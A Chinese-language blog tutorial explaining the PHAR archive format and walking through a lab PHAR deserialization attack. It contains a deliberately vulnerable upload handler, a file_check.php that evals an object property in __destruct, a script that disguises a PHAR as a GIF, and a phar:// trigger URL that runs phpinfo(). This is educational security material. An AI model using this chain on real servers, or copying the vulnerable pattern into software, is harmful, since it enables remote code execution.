PHAR介绍

PHAR("php archive")是PHP中类似于JAR的一种打包文件,在PHP5.3.0开始有效,这个特性使得PHP也可以向JAVA一样方便地实现应用程序打包和组件化。一个应用程序可以打成Phar包直接放到PHP-FPM中运行。

PHAR文件

PHAR(PHP文档)文件是一种打包格式,通过将许多PHP文件和其他资源(图像、样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都是用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的代码。

PHP原理

1.a stub

stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>,之前的内容没有限制,但是需要以__HALT_COMPILER();?>来结尾,其中的结尾符号?>可以忽略,但是如果加了,必须和__HALT_COMPILER();相隔不超过一个空格,否则phar扩展将无法识别这个phar文件。
官方介绍:https://www.php.net/manual/zh/phar.fileformat.stub.php

2.a manifest describing the contents

phar文件本质上是一种压缩文件,其中被压缩的文件的权限、属性等信息都放在这个部分,这个部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
我们可以查看官网中的介绍:https://www.php.net/manual/zh/phar.fileformat.phar.php

3.the file contents

被压缩文件的内容。

4.[optional] a signature for verifying Phar integrity(phar file format only)

Phar的签名,存放在文件的末尾,目前支持的签名格式为MD5,SHA1,SHA256和SHA512
官网中介绍:https://www.php.net/manual/zh/phar.fileformat.signature.php

实例

根据之前对phar的介绍,我们来编写一个phar文件,在php中内置了一个Phar类来处理相关操作

测试的时候,我们需要将phar.readonly设置为Off,否则无法生成phar文件,默认情况下phar.readonly的值为On,我们可以在php.ini文件中将其设置为Off

phar.php

<?php
    class Test{}
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
    $obj = new Test();
    $obj->data = "test";
    $phar->setMetadata($obj);//将自定义的meta-data存入maifest
    $phar->addFromString("test.txt","test");//需要压缩的文件
    $phar->stopBuffering();//自动计算签名
?>

我们执行这个php文件,然后在同目录下就会生成phar.phar文件

我们使用010editor打开进行查看文件中的内容,其中meta-datad是以序列化的格式存储的

既然这些数据被反序列化了,那对其进行操作的时候就一定会需要反序列化,php对文件操作的函数中,在通过phar://伪协议解析phar文件的时候,大部分都会对meta-data进行反序列化,其中收影响的函数我们采用seebug中的图片来了解一下

我们这里继续之前的测试继续,我们使用如下代码构建phar_test.php文件

<?php
class Test{
    function __destruct()
    {
        echo $this -> data;
    }
}
file_exists("phar://phar.phar");
?>

我们访问phar_test.php文件,输出了我们之前在phar.php中设置的内容。

PHAR文件格式伪造

我们之前已经介绍过,在phar文件格式会通过__HALT_COMPILER();?>这个标志来确定是一个phar文件,对其前面的内容和文件名的后缀是没有要求的,那我们就可以在最开始添加一个其他文件类型的文件头,然后对文件名的后缀修改,通过这种方式来伪装成其他类型的文件。接下来我们进行一个练习来测试。

基本思路

我们接下来进行一个练习,我们upload_file.php文件中检测上传文件类型以及文件后缀,然后在file_check.php中判断这个文件是否存。

条件

要完成这个实验的条件是

  • 存在文件上传
  • 有文件操作函数并且在我们之前介绍的受影响的函数表中
  • 在有文件操作函数中有可用的魔法函数

开始练习

首先我们需要一个检测上传文件类型以及后缀的函数
upload_file.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];
    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }
?>

接着来构造一个上传页面
upload.html

<body>
<form action="http://192.168.252.182/phar/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

最后就是检测文件是否存在
file_check.php

<?php
$filename=$_GET['filename'];
class Test{
    var $name = 'echo 123;';
    function __destruct()
    {
        eval($this -> name);
    }
}
file_exists($filename);
?>

我们将之前的代码进行修改,来创建一个图片格式的文件
create_phar.php

<?php
    class Test{
    }
    $phar = new Phar("phar1.phar");//这里后缀需要是phar,生成以后修改文件后缀
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");//设置stub
    $obj = new Test();
    $obj->name = "phpinfo();";
    $phar->setMetadata($obj);//将自定义的meta-data存入maifest
    $phar->addFromString("test.txt","test");//需要压缩的文件
    $phar->stopBuffering();//自动计算签名
?>

首先使用上述代码生成一个phar1.phar,然后将文件后缀修改为.gif,接着使用upload.html将我们将文件上传到upload_file.php

接着我们根据返回的文件路径在file_check.php中传递参数

http://192.168.252.182/phar/file_check.php?filename=phar://upload_file/phar1.gif


可以看到,执行了我们生成文件中的phpinfo()内容。

参考文章:

https://xz.aliyun.com/t/2715
https://paper.seebug.org/680/

最后修改:2020 年 08 月 30 日
如果觉得我的文章对你有用,请随意赞赏